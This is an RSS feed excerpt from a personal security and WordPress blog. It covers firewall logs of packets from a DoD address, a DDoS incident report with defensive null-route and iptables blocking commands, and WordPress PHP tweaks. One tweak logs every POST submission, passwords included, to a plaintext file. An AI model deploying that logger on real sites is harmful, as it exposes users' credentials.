<p>Unrelated, but still worth mentioning, <a href="http://sltaylor.co.uk/blog/">Steve Taylor</a> asked the following question on the wp-hackers mailing list today, </p>
<blockquote><p>
I can't find any information on this, but out of curiosity, is it possible to get *just* security fixes for old WP version? So, say when 3.0 comes out and it jumps up from 2.9.4, would there be a "2.9.5" for the security fixes? My guess is no, but I thought I'd check.
</p></blockquote>
<p><strong>That</strong> is a fantastic idea. On my production Debian servers, *only* the security repos are enabled so *only* the security updates are applied. Why couldn't this also work for WordPress? For me, updating WordPress is a royal pain in the ass due to the core <strike>fixes</strike> hacks/edits. As a result, WordPress gets updated once every four or five major releases, with the exception of manually applied security patches (of course). But a <em>security-updates only</em> feature for WordPress? Count me in. Hell, I'll even help with patching the older branches if necessary. </p>
<p>To some, security patches are more of a concern than a "Trash Can" (wait, wat?) feature for posts/comments. I'll save that rant for another post. Fckin WordPress trash can, geez... </p>
<h2>Potential Search Terms</h2>
<p>Remove the WordPress Update Nag Without a Plugin<br />
Remove the WordPress Update Message Without a Plugin<br />
Get rid of the WordPress Update Message Without a Plugin<br />
Get rid of the WordPress Update Nag Without a Plugin<br />
WordPress Update Nag Admin Hack</p>
<h3>See Also:</h3><ul class="related_post"><li>11/28/2009 -- <a href="http://www.nullamatix.com/wordpress-ip-intelligence/" title="New Wordpress Plugin: IP Intelligence">New Wordpress Plugin: IP Intelligence</a><br /><strong>Excerpt</strong>: "Description
IP Intelligence the ability to retrieve information about a commentators IP address without leaving the "edit-comments.php" page. Version 0.0.1 is capable of retrieving the following information:

	Reverse DNS/PTR
	Long/Proper IPv4 ..."<br /></li><li>01/30/2008 -- <a href="http://www.nullamatix.com/secure-your-wordpress-admin-folder-with-lighttpd/" title="Secure Your Wordpress Admin Folder With lighttpd">Secure Your Wordpress Admin Folder With lighttpd</a><br /><strong>Excerpt</strong>: "As you might have guessed, I'm ultra concerned about security. Security isn't my area of expertise, nor do I claim to have any superior knowledge in the field, but sometimes being ahead of the game can prove beneficial. Shoemoney's blog has been defaced twice ..."<br /></li><li>01/30/2008 -- <a href="http://www.nullamatix.com/2-more-wordpress-plugin-exploits-adserve-wassup/" title="2 More Wordpress Plugin Exploits &#8211; Adserve &#038; WassUp">2 More Wordpress Plugin Exploits &#8211; Adserve &#038; WassUp</a><br /><strong>Excerpt</strong>: "Wow, four Wordpress plugin exploits released in under a week. Are these plugin authors really amateurs, or just trying to pwn Wordpress blogs?

First up, Adserve version 0.2. The SQL injection vulnerability resides in  adclick.php. Here's the vulnerable ..."<br /></li><li>01/28/2008 -- <a href="http://www.nullamatix.com/2-new-wordpress-plugin-sql-injection-vulnerabilities/" title="2 New Wordpress Plugin SQL Injection Vulnerabilities">2 New Wordpress Plugin SQL Injection Vulnerabilities</a><br /><strong>Excerpt</strong>: "That's right Wordpresss kiddies, two new vulnerabilities, and they're pretty nasty. Author Houssamix From H-T Team has released two remote SQL injection proof of concepts for WP-Cal and fGallery 2.4.1.

The vulnerability for WP-Cal exists ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/hide-wordpress-update-nag-without-a-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subject: ShmooCon Slugs &#8211; Ride Sharing</title>
		<link>http://www.nullamatix.com/subject-shmoocon-slugs-ride-sharing/</link>
		<comments>http://www.nullamatix.com/subject-shmoocon-slugs-ride-sharing/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 11:46:09 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
		
		<guid isPermaLink="false">http://www.nullamatix.com/?p=883</guid>
		<description><![CDATA[
From: Rob Fuller
To: pen-test@securityfocus.com
Date: Sun, 27 Dec 2009 20:29:11 -0500
Subject: ShmooCon Slugs - Ride Sharing 

ShmooCon Slugs was created to help facilitate people getting together
for rides to ShmooCon 2010. http://shmooslugs.pbworks.com/
We already have two on the board, one from Atlanta and one from Toronto.
Please tweet, email, blog this, since it only works if everyone knows about [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>
From: Rob Fuller<br />
To: pen-test@securityfocus.com<br />
Date: Sun, 27 Dec 2009 20:29:11 -0500<br />
Subject: ShmooCon Slugs - Ride Sharing </p>
<p><span id="more-883"></span></p>
<p>ShmooCon Slugs was created to help facilitate people getting together<br />
for rides to ShmooCon 2010. <a href="http://shmooslugs.pbworks.com/">http://shmooslugs.pbworks.com/</a></p>
<p>We already have two on the board, one from Atlanta and one from Toronto.</p>
<p>Please tweet, email, blog this, since it only works if everyone knows about it.</p>
<p>--<br />
Rob Fuller | Mubix<br />
<a href="http://Room362.com">Room362.com</a> | <a href="http://Hak5.org">Hak5.org</a> | <a href="http://TheAcademyPro.com">TheAcademyPro.com</a>
</p></blockquote>
<p>More Info:<br />
 - <a href="http://shmooslugs.pbworks.com/Looking-for-Riders">http://shmooslugs.pbworks.com/Looking-for-Riders</a><br />
 - <a href="http://shmooslugs.pbworks.com/Looking-for-Drivers">http://shmooslugs.pbworks.com/Looking-for-Drivers</a></p>
<h3>More From Nullamatix.com:</h3><ul class="related_post"><li>12/31/2007 -- <a href="http://www.nullamatix.com/updates-and-a-happy-new-year/" title="Updates and a Happy New Year">Updates and a Happy New Year</a><br /><strong>Excerpt</strong>: ""<br /></li><li>05/03/2009 -- <a href="http://www.nullamatix.com/rackmount-hammock-server-room-accessory/" title="Rackmount Hammock &#8211; Server Room Accessory">Rackmount Hammock &#8211; Server Room Accessory</a><br /><strong>Excerpt</strong>: ""<br /></li><li>01/22/2008 -- <a href="http://www.nullamatix.com/301-redirect-codes-for-php-asp-coldfusion-and-more/" title="301 Redirect Codes For PHP, ASP, Coldfusion, and More">301 Redirect Codes For PHP, ASP, Coldfusion, and More</a><br /><strong>Excerpt</strong>: ""<br /></li><li>04/24/2009 -- <a href="http://www.nullamatix.com/new-page-interesting-server-logs/" title="New Page: Interesting Server Logs">New Page: Interesting Server Logs</a><br /><strong>Excerpt</strong>: ""<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/subject-shmoocon-slugs-ride-sharing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Invalid Packets From the DoD</title>
		<link>http://www.nullamatix.com/invalid-packets-from-dod/</link>
		<comments>http://www.nullamatix.com/invalid-packets-from-dod/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 13:18:18 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Firewall]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[Logs]]></category>
		<category><![CDATA[tcp/ip]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=867</guid>
		<description><![CDATA[The firewall policies on Nullamatix.com DROP invalid connection attempts. Specifically, if an attempt to start a new tcp connection is not a syn packet, the packet is rejected. This morning I noticed a few dropped connection attempts from an unusual source, The U.S. Department of Defense. Here are the logs:

Dec 27 05:00:38: SRC=140.32.107.150 PROTO=TCP SPT=53175 [...]]]></description>
			<content:encoded><![CDATA[<p>The firewall policies on Nullamatix.com DROP invalid connection attempts. Specifically, if an attempt to start a new tcp connection is not a syn packet, the packet is rejected. This morning I noticed a few dropped connection attempts from an unusual source, The <strong>U.S. Department of Defense</strong>. Here are the logs:<span id="more-867"></span></p>
<pre class="brush:bash wrap-lines:false">
Dec 27 05:00:38: SRC=140.32.107.150 PROTO=TCP SPT=53175 DPT=80
Dec 27 05:01:53: SRC=140.32.107.150 PROTO=TCP SPT=53175 DPT=80
Dec 27 05:03:08: SRC=140.32.107.150 PROTO=TCP SPT=53175 DPT=80
Dec 27 05:04:23: SRC=140.32.107.150 PROTO=TCP SPT=53175 DPT=80
Dec 27 05:05:38: SRC=140.32.107.150 PROTO=TCP SPT=53175 DPT=80
Dec 27 05:06:53: SRC=140.32.107.150 PROTO=TCP SPT=53175 DPT=80
Dec 27 05:09:23: SRC=140.32.107.150 PROTO=TCP SPT=53175 DPT=80
Dec 18 09:25:19: SRC=140.32.107.150 PROTO=TCP SPT=11601 DPT=80
Dec 18 09:26:34: SRC=140.32.107.150 PROTO=TCP SPT=11601 DPT=80
Dec 18 09:27:49: SRC=140.32.107.150 PROTO=TCP SPT=11601 DPT=80
Dec 18 09:29:04: SRC=140.32.107.150 PROTO=TCP SPT=11601 DPT=80
Dec 18 09:30:19: SRC=140.32.107.150 PROTO=TCP SPT=11601 DPT=80
Dec 18 09:31:34: SRC=140.32.107.150 PROTO=TCP SPT=11601 DPT=80
Dec 18 09:32:49: SRC=140.32.107.150 PROTO=TCP SPT=11601 DPT=80
Dec 18 09:34:04: SRC=140.32.107.150 PROTO=TCP SPT=11601 DPT=80
</pre>
<p>What's really interesting are the lack of Lighttpd logs. Based on the logs I have, that IP has never made a legitimate visit to any of the sites hosted on this server. So what's the DoD up to? I don't mind them visiting at all, but why the invalid connection attempts? If someone at the DoD wants some information about this server, all they have to do is <em>ask</em>. </p>
<h2>Whois Information for 140.32.107.150</h2>
<pre class="brush:plain wrap-lines:false">
OrgName:    DoD Network Information Center
OrgID:      DNIC
Address:    3990 E. Broad Street
City:       Columbus
StateProv:  OH
PostalCode: 43218
Country:    US

NetRange:   140.32.0.0 - 140.32.255.255
CIDR:       140.32.0.0/16
NetName:    SUM-DET-5
NetHandle:  NET-140-32-0-0-1
Parent:     NET-140-0-0-0-0
NetType:    Direct Assignment
NameServer: NS1.ARL.ARMY.MIL
NameServer: NS1.NOSC.MIL
NameServer: NS1.HPCMO.HPC.MIL
Comment:
RegDate:    1990-04-08
Updated:    2007-08-23

OrgTechHandle: MIL-HSTMST-ARIN
OrgTechName:   Network DoD
OrgTechPhone:  +1-800-365-3642
OrgTechEmail:  HOSTMASTER@nic.mil

OrgTechHandle: REGIS10-ARIN
OrgTechName:   Registration
OrgTechPhone:  +1-800-365-3642
OrgTechEmail:  REGISTRA@nic.mil
</pre>
<h3>See Also:</h3><ul class="related_post"><li>05/13/2009 -- <a href="http://www.nullamatix.com/iptables-drop-log-for-051209/" title="IPTables Drop Log For 05.12.09">IPTables Drop Log For 05.12.09</a><br /><strong>Excerpt</strong>: "The Internet; so magical and dangerous, getting connected is a risk we're all willing to take. Whether you're infiltrating some moron's botnet, or just surfing the web, the possibility of becoming a victim in a cyber attack is real. Everyday, without fail, ..."<br /></li><li>01/17/2010 -- <a href="http://www.nullamatix.com/new-tool-ip-range-to-cidr/" title="New Tool: IP Range to CIDR">New Tool: IP Range to CIDR</a><br /><strong>Excerpt</strong>: "At least twice a week I find myself visiting ip2cidr.com, the IP to CIDR converter. Since the owner/author of the site hasn't release the source code, and I love a challenge, I developed my own version. The guys at the job find the tool useful, and after a ..."<br /></li><li>03/05/2008 -- <a href="http://www.nullamatix.com/whats-your-computer-connecting-to/" title="What&#8217;s Your Computer Connecting To?">What&#8217;s Your Computer Connecting To?</a><br /><strong>Excerpt</strong>: "A security conscious buddy of mine is an advocate of the Sysinternals freeware utilities. For those of you who don't know, Mark Russinovich, one of the Sysinternals co founders, was the guy that discovered and exposed the Sony BMG root kit back in 2005. In ..."<br /></li><li>02/15/2008 -- <a href="http://www.nullamatix.com/picture-the-importance-of-a-good-firewall/" title="Picture: The Importance of a Good Firewall">Picture: The Importance of a Good Firewall</a><br /><strong>Excerpt</strong>: "This is what happened when I took down my network's defenses the other day. Fortunately my Windows machines were patched, or I might have been hit with a nasty remote exploit, or eighty. Click the thumbnail for the larger version.

Those are all incoming ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/invalid-packets-from-dod/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Hacks Worth Implementing</title>
		<link>http://www.nullamatix.com/wordpress-hacks-worth-implementing/</link>
		<comments>http://www.nullamatix.com/wordpress-hacks-worth-implementing/#comments</comments>
		<pubDate>Sun, 27 Dec 2009 01:07:26 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[Logs]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=851</guid>
		<description><![CDATA[Combat Comment Spam
Most spammers aren't clever enough to populate the REFERER header. This code snippet is not only extremely easy to implement, but pretty effective, too. Open up your themes functions.php and drop in the following:

function wp_check_referrer() {
	if (empty($_SERVER['HTTP_REFERER']) &#124;&#124; (!isset($_SERVER['HTTP_REFERER'])) {
		wp_die( __('Undefined HTTP_REFERER.') ); }
}
add_action('check_comment_flood', 'wp_check_referrer');

Now, unless the REFERER field is set, they won't [...]]]></description>
			<content:encoded><![CDATA[<h2>Combat Comment Spam</h2>
<p>Most spammers aren't clever enough to populate the REFERER header. This code snippet is not only extremely easy to implement, but pretty effective, too. Open up your themes functions.php and drop in the following:<span id="more-851"></span></p>
<pre class="brush: php">
function wp_check_referrer() {
	if (empty($_SERVER['HTTP_REFERER']) || (!isset($_SERVER['HTTP_REFERER'])) {
		wp_die( __('Undefined HTTP_REFERER.') ); }
}
add_action('check_comment_flood', 'wp_check_referrer');
</pre>
<p>Now, unless the REFERER field is set, they won't even make it to Akismet! Probably wouldn't hurt to warn your visitors since a select few might intentionally prevent sending a REFERER string. This isn't unusual for anyone coming from a proxy or one of the many FireFox extensions that protect "<em>privacy</em>."</p>
<h2>Post Word Count</h2>
<p>As the heading says, this will count the number of words in a post. Open up functions.php again and insert the following: </p>
<pre class="brush: php">
function getwc() {
	ob_start();
	the_content();
	$content = ob_get_clean();
	return sizeof(explode(" ", $content));
}
</pre>
<p>To display the word count for all to see, insert the following <em>inside</em> the WordPress loop (if have_posts() ... ). single.php probably works best.. </p>
<pre class="brush: php">
	&lt;p&gt;Word Count: &lt;?php echo getwc(); ?&gt;&lt;/p&gt;
</pre>
<h2>Log all POSTs to a Text File</h2>
<p>This WordPress hack is a bit longer, but can provide some interesting information. By adding this block of code to your functions.php, all $_POST submissions will end up in a text file of your choice. Setup is simple: replace 172.16.20.9 and 192.168.80.20 with IPs to exclude (usually your own), and set the path to a log file. Outside of the public_html directory is probably a good idea.</p>
<pre class="brush: php wrap-lines:false">
function server_post_logd() {
	$client_addr  = $_SERVER['REMOTE_ADDR'];
	$request_file = $_SERVER['SCRIPT_NAME'];
	if ($client_addr != '172.16.20.9' &#038;& $client_addr != '192.168.80.20') {
		if(!empty($_POST)) {
			$fp = fopen('/users/nullamatix.com/logs/post_logd-file.txt', 'a');
			foreach($_POST as $key => $value) {
				fwrite($fp, $key.' = '.$value."\n");
			}
			fwrite ($fp, $client_addr . "\n");
			fwrite ($fp, $request_file . "\n");
			fwrite ($fp, date("F j, Y, g:i a") . "\n");
			fwrite ($fp, '--------------**********------------------'."\n\n" );
			fclose ($fp);
		}
	}
}
add_action('init', 'server_post_logd');
</pre>
<p>Just make sure <em>/users/nullamatix.com/logs/post_logd-file.txt</em> exists and is writable by the server. <strong><em>Be aware</em></strong>, if you have enemies, this can fill up disk space and potentially cause a <a href="http://www.nullamatix.com/nullamatixcom-ddos-attack-12-2009/">DoS attack</a>. </p>
<h2>All Posts, 1 Page</h2>
<p>Create a WordPress page template file called "<a href="http://www.nullamatix.com/all-posts/">All Posts</a>" or whatever. Here's the code - pretty simple stuff.</p>
<pre class="brush: php wrap-lines:false">
&lt;?php 

	$total_posts = $wpdb->get_var("SELECT COUNT(*) FROM
	$wpdb->posts WHERE post_status = 'publish'"); 

	if (0 &lt; $total_posts) $total_posts = number_format($total_posts); ?&gt;

&lt;h2&gt;&lt;?php echo $total_posts; ?&gt; Posts Since July 10th, 1966&lt;/h2&gt;
&lt;ul&gt;

&lt;?php

	$all_posts = get_posts('post_type=any&#038;exclude=80,55&#038;numberposts=-1&#038;');
	foreach($all_posts as $post) : ?&gt;

		&lt;li&gt;&lt;?php the_time('m/d/y') ?&gt;: &lt;a href="&lt;?php the_permalink(); ?&gt;" title="&lt;?php the_title(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/li&gt;

&lt;?php endforeach; ?&gt;

&lt;/ul&gt;
</pre>
<p>Live Demo: <a href="http://www.nullamatix.com/all-posts/">All Nullamatix.com Posts</a></p>
<p>Alright, that's all I'm able to come up with at the moment. What are some of <em>your</em> favorite <a href="http://www.nullamatix.com/wordpress-hacks-worth-implementing/">WordPress Hacks</a>?</p>
<h3>See Also:</h3><ul class="related_post"><li>12/25/2009 -- <a href="http://www.nullamatix.com/new-tool-daily-mod-security-reports/" title="New Tool: Daily [Mod] Security Reports">New Tool: Daily [Mod] Security Reports</a><br /><strong>Excerpt</strong>: "After the Lighttpd mod security post and the DDoS attack that followed, I began working on a script that parses the Lighttpd server-error.log and inserts matched records into MySQL. The result? Check it out here: security.nullamatix.com Daily Security ..."<br /></li><li>11/28/2009 -- <a href="http://www.nullamatix.com/wordpress-ip-intelligence/" title="New Wordpress Plugin: IP Intelligence">New Wordpress Plugin: IP Intelligence</a><br /><strong>Excerpt</strong>: "Description
IP Intelligence the ability to retrieve information about a commentators IP address without leaving the "edit-comments.php" page. Version 0.0.1 is capable of retrieving the following information:

	Reverse DNS/PTR
	Long/Proper IPv4 ..."<br /></li><li>03/08/2008 -- <a href="http://www.nullamatix.com/automated-adsense-privacy-policy-deployment-guide/" title="Automated Adsense Privacy Policy Deployment Guide">Automated Adsense Privacy Policy Deployment Guide</a><br /><strong>Excerpt</strong>: "Hopefully you took the time to actually read the new Adsense Terms and Conditions. The new terms require all Adsense publishers to display a privacy policy on any web-site displaying Adsense ads.

Here's an excerpt from this page:
We've also added some ..."<br /></li><li>03/04/2008 -- <a href="http://www.nullamatix.com/defeat-spam-blogs-with-ip-based-content-delivery/" title="Defeat Spam Blogs With IP Based Content Delivery">Defeat Spam Blogs With IP Based Content Delivery</a><br /><strong>Excerpt</strong>: "The majority of bloggers are forced to deal with spam blogs (splogs, aka scraper blogs), and even though a variety of counter measures exist, they just don't seem to do the trick. Most of the time, splogs will scrape only an excerpt from the post, making the ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/wordpress-hacks-worth-implementing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Tool: Daily [Mod] Security Reports</title>
		<link>http://www.nullamatix.com/new-tool-daily-mod-security-reports/</link>
		<comments>http://www.nullamatix.com/new-tool-daily-mod-security-reports/#comments</comments>
		<pubDate>Fri, 25 Dec 2009 17:14:55 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Lighttpd]]></category>
		<category><![CDATA[Logs]]></category>
		<category><![CDATA[mod_security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[rfi]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=848</guid>
		<description><![CDATA[After the Lighttpd mod security post and the DDoS attack that followed, I began working on a script that parses the Lighttpd server-error.log and inserts matched records into MySQL. The result? Check it out here: security.nullamatix.com Daily Security Reports. With the abundance of ideas I have for the project, it's far from complete, but definitely [...]]]></description>
			<content:encoded><![CDATA[<p>After the <a href="http://www.nullamatix.com/529-attacks-in-9-days-id1txt-rfi-more/">Lighttpd mod security</a> post and the <a href="http://www.nullamatix.com/nullamatixcom-ddos-attack-12-2009/">DDoS attack</a> that followed, I began working on a script that parses the Lighttpd server-error.log and inserts matched records into MySQL. The result? Check it out here: <a href="http://security.nullamatix.com">security.nullamatix.com Daily Security Reports</a>. With the abundance of ideas I have for the project, it's far from complete, but definitely worth a beta release. Plans for the future include, but aren't limited to:<span id="more-848"></span></p>
<ol>
<li>SSL Certificate for https support</li>
<li>An API to enable client submissions</li>
<li>Details information about individual IPs (blacklists, rDNS, ASN, db frequency, etc)</li>
<li>Auto generated links to ProjectHoneyPot, Robtex, Stop Forum Spam, and more</li>
<li>Get the <em>search</em> working correctly</li>
<li>Discussion/comment form on each IP to enable visitor interaction</li>
<li>Auto generated IP tables/null route rules for IPs/netblocks</li>
</ol>
<p>So, as I said, the tool is far from complete, and I need your help. What sort of features would <em>you</em> like to see? Could the tool eventually have a value to the Internet community, or just me? Don't be shy - leave your comments, suggestions, criticisms, or questions below. </p>
<p>Also, WordPress users that like to know about the source of their commentators should check out my first official WordPress plug-in: <a href="http://www.nullamatix.com/wordpress-ip-intelligence/">IP Intelligence</a>. </p>
<p>Merry Chrimmus and eehh... bah-hum-bug.</p>
<h3>See Also:</h3><ul class="related_post"><li>12/10/2009 -- <a href="http://www.nullamatix.com/529-attacks-in-9-days-id1txt-rfi-more/" title="529 Attacks in 9 Days: id1.txt, RFI, &#038; More">529 Attacks in 9 Days: id1.txt, RFI, &#038; More</a><br /><strong>Excerpt</strong>: "Long time Nullamatix readers know how much I love reviewing log files. Logs can provide detailed incite into not only the overall health of a system, but information one can use to mitigate the risks of automated  attacks. In this post, I'll go over a couple ..."<br /></li><li>04/24/2009 -- <a href="http://www.nullamatix.com/new-page-interesting-server-logs/" title="New Page: Interesting Server Logs">New Page: Interesting Server Logs</a><br /><strong>Excerpt</strong>: "This is a short post. A status update more than anything.

Before posting Madlib Site PHP code examples demonstrating how to use the content you've obtained from: Free Data Sources for Blue Hat SEO's Madlib Technique, I thought of a potentially interesting ..."<br /></li><li>04/11/2010 -- <a href="http://www.nullamatix.com/howto-xcache-in-a-lighttpd-chroot-on-debian/" title="Howto: XCache in a Lighttpd Chroot on Debian">Howto: XCache in a Lighttpd Chroot on Debian</a><br /><strong>Excerpt</strong>: "Whether you're pressed for resources on a virtual/dedicated server, or simply looking for ways to improve web application performance, XCache is guaranteed to produce the desired result. Within minutes of installing XCache: page load times were cut in half, ..."<br /></li><li>12/26/2009 -- <a href="http://www.nullamatix.com/wordpress-hacks-worth-implementing/" title="WordPress Hacks Worth Implementing">WordPress Hacks Worth Implementing</a><br /><strong>Excerpt</strong>: "Combat Comment Spam
Most spammers aren't clever enough to populate the REFERER header. This code snippet is not only extremely easy to implement, but pretty effective, too. Open up your themes functions.php and drop in the following:

function ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/new-tool-daily-mod-security-reports/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nullamatix.com &#8211; DDoS Attack 12-2009</title>
		<link>http://www.nullamatix.com/nullamatixcom-ddos-attack-12-2009/</link>
		<comments>http://www.nullamatix.com/nullamatixcom-ddos-attack-12-2009/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 23:38:36 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[route]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=832</guid>
		<description><![CDATA[The attack started around 03:05:07 EST on Saturday, December 12th, 2009. As far as I know, the attack is still going on. My service provider has null routed the target IP (old IP for www.nullamatix.com), at least until the attack subsides. Fortunately, Nullamatix.com is back up and running as of 14:30:00 EST on Sunday, December [...]]]></description>
			<content:encoded><![CDATA[<p>The attack started around 03:05:07 EST on Saturday, December 12th, 2009. As far as I know, the attack is still going on. My service provider has null routed the target IP (old IP for www.nullamatix.com), at least until the attack subsides. Fortunately, Nullamatix.com is back up and running as of 14:30:00 EST on Sunday, December 13th, 2009. Here are some details of the attack.<span id="more-832"></span></p>
<h3>The Involved</h3>
<p>These IP addresses contributed to the 133MB worth of dropped firewall log data generated between 03:05:07 and 03:40:00. I imagine by 03:40, the entire pipe was filled and iptables wasn't seeing anything else to drop, hence the decline in the number of packets. </p>
<table>
<tr>
<td align="right"><strong>Source IP</strong></td>
<td> - </td>
<td><strong># of Packets</strong></td>
</tr>
<tr>
<td align="right">140.128.64.168</td>
<td> - </td>
<td>251029</td>
</tr>
<tr>
<td align="right">84.19.172.30</td>
<td> - </td>
<td>163157</td>
</tr>
<tr>
<td align="right">213.74.4.160</td>
<td> - </td>
<td>135143</td>
</tr>
<tr>
<td align="right">85.12.42.240</td>
<td> - </td>
<td>77208</td>
</tr>
<tr>
<td align="right">72.18.196.223</td>
<td> - </td>
<td>74521</td>
</tr>
<tr>
<td align="right">81.27.32.250</td>
<td> - </td>
<td>5685</td>
</tr>
<tr>
<td align="right">92.48.68.32</td>
<td> - </td>
<td>1421</td>
</tr>
<tr>
<td align="right">85.10.128.63</td>
<td> - </td>
<td>364</td>
</tr>
<tr>
<td align="right">87.118.126.165</td>
<td> - </td>
<td>254</td>
</tr>
<tr>
<td align="right">79.140.64.133</td>
<td> - </td>
<td>153</td>
</tr>
<tr>
<td align="right">62.193.228.104</td>
<td> - </td>
<td>106</td>
</tr>
<tr>
<td align="right">213.186.46.163</td>
<td> - </td>
<td>61</td>
</tr>
<tr>
<td align="right">212.58.5.194</td>
<td> - </td>
<td>32</td>
</tr>
<tr>
<td align="right">192.83.166.21</td>
<td> - </td>
<td>23</td>
</tr>
<tr>
<td align="right">79.132.212.7</td>
<td> - </td>
<td>21</td>
</tr>
<tr>
<td align="right">204.16.241.176</td>
<td> - </td>
<td>14</td>
</tr>
</table>
<h3>CIDR for The Involved</h3>
<p>For anyone interested, here are the CIDR blocks for the involved networks:</p>
<pre class="brush:bash">
[nullamatix.com ~]:# ip route show | sed 's/unreachable //;s/ scope.*$//' | grep -v ' dev'
140.128.0.0/13
84.19.160.0/19
213.74.0.0/16
85.12.0.0/18
72.18.192.0/20
81.27.32.0/20
92.48.64.0/18
85.10.128.0/20
87.118.64.0/18
79.140.64.0/20
62.193.192.0/18
213.186.32.0/19
212.58.0.0/19
192.83.166.0/23
79.132.192.0/19
204.16.240.0/21
</pre>
<h3>Null Route The Involved</h3>
<p>Here's how to null route these networks:</p>
<pre class="brush:bash">
route add -net 140.128.0.0/13 reject
route add -net 84.19.160.0/19 reject
route add -net 213.74.0.0/16 reject
route add -net 85.12.0.0/18 reject
route add -net 72.18.192.0/20 reject
route add -net 81.27.32.0/20 reject
route add -net 92.48.64.0/18 reject
route add -net 85.10.128.0/20 reject
route add -net 87.118.64.0/18 reject
route add -net 79.140.64.0/20 reject
route add -net 62.193.192.0/18 reject
route add -net 213.186.32.0/19 reject
route add -net 212.58.0.0/19 reject
route add -net 192.83.166.0/23 reject
route add -net 79.132.192.0/19 reject
route add -net 204.16.240.0/21 reject
</pre>
<h3>IPTable DROP The Involved</h3>
<p>And here's how to drop incoming data from these networks with IP tables:</p>
<pre class="brush:bash">
iptables -A INPUT -s 140.128.0.0/13 -j DROP
iptables -A INPUT -s 84.19.160.0/19 -j DROP
iptables -A INPUT -s 213.74.0.0/16 -j DROP
iptables -A INPUT -s 85.12.0.0/18 -j DROP
iptables -A INPUT -s 72.18.192.0/20 -j DROP
iptables -A INPUT -s 81.27.32.0/20 -j DROP
iptables -A INPUT -s 92.48.64.0/18 -j DROP
iptables -A INPUT -s 85.10.128.0/20 -j DROP
iptables -A INPUT -s 87.118.64.0/18 -j DROP
iptables -A INPUT -s 79.140.64.0/20 -j DROP
iptables -A INPUT -s 62.193.192.0/18 -j DROP
iptables -A INPUT -s 213.186.32.0/19 -j DROP
iptables -A INPUT -s 212.58.0.0/19 -j DROP
iptables -A INPUT -s 192.83.166.0/23 -j DROP
iptables -A INPUT -s 79.132.192.0/19 -j DROP
iptables -A INPUT -s 204.16.240.0/21 -j DROP
</pre>
<p>Feel free to ask any questions, I'll do my best to provide any information I can. Still have absolutely no idea what might have provoked such an attack.</p>
<h3>See Also:</h3><ul class="related_post"><li>04/24/2009 -- <a href="http://www.nullamatix.com/flow-control-platform-fcp-is-pissing-me-off/" title="Flow Control Platform (FCP) is Pissing Me Off">Flow Control Platform (FCP) is Pissing Me Off</a><br /><strong>Excerpt</strong>: "Every two hours or so my servers are set to email me a summary of events and other misc. information. Some of the information is memory/cpu utilization, which processes are running, a list of listening services, which cron-jobs ran, who logged in, etc. My ..."<br /></li><li>07/25/2007 -- <a href="http://www.nullamatix.com/old-school-ddos-attacks-how-large-servers-got-pwned/" title="Old School DDoS Attacks &#8211; How Large Servers Got Pwned">Old School DDoS Attacks &#8211; How Large Servers Got Pwned</a><br /><strong>Excerpt</strong>: "/* 

How Large Servers are Owned via DDoS 

written by perator 

*/
Every time you dial up to your ISP, your box is assigned an IP address. An IP address is a number (eg. 199.44.2.1) that identifies you on the internet. Every online computer has its ..."<br /></li><li>01/17/2010 -- <a href="http://www.nullamatix.com/new-tool-ip-range-to-cidr/" title="New Tool: IP Range to CIDR">New Tool: IP Range to CIDR</a><br /><strong>Excerpt</strong>: "At least twice a week I find myself visiting ip2cidr.com, the IP to CIDR converter. Since the owner/author of the site hasn't release the source code, and I love a challenge, I developed my own version. The guys at the job find the tool useful, and after a ..."<br /></li><li>12/28/2009 -- <a href="http://www.nullamatix.com/invalid-packets-from-dod/" title="Invalid Packets From the DoD">Invalid Packets From the DoD</a><br /><strong>Excerpt</strong>: "The firewall policies on Nullamatix.com DROP invalid connection attempts. Specifically, if an attempt to start a new tcp connection is not a syn packet, the packet is rejected. This morning I noticed a few dropped connection attempts from an unusual source, ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/nullamatixcom-ddos-attack-12-2009/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>529 Attacks in 9 Days: id1.txt, RFI, &amp; More</title>
		<link>http://www.nullamatix.com/529-attacks-in-9-days-id1txt-rfi-more/</link>
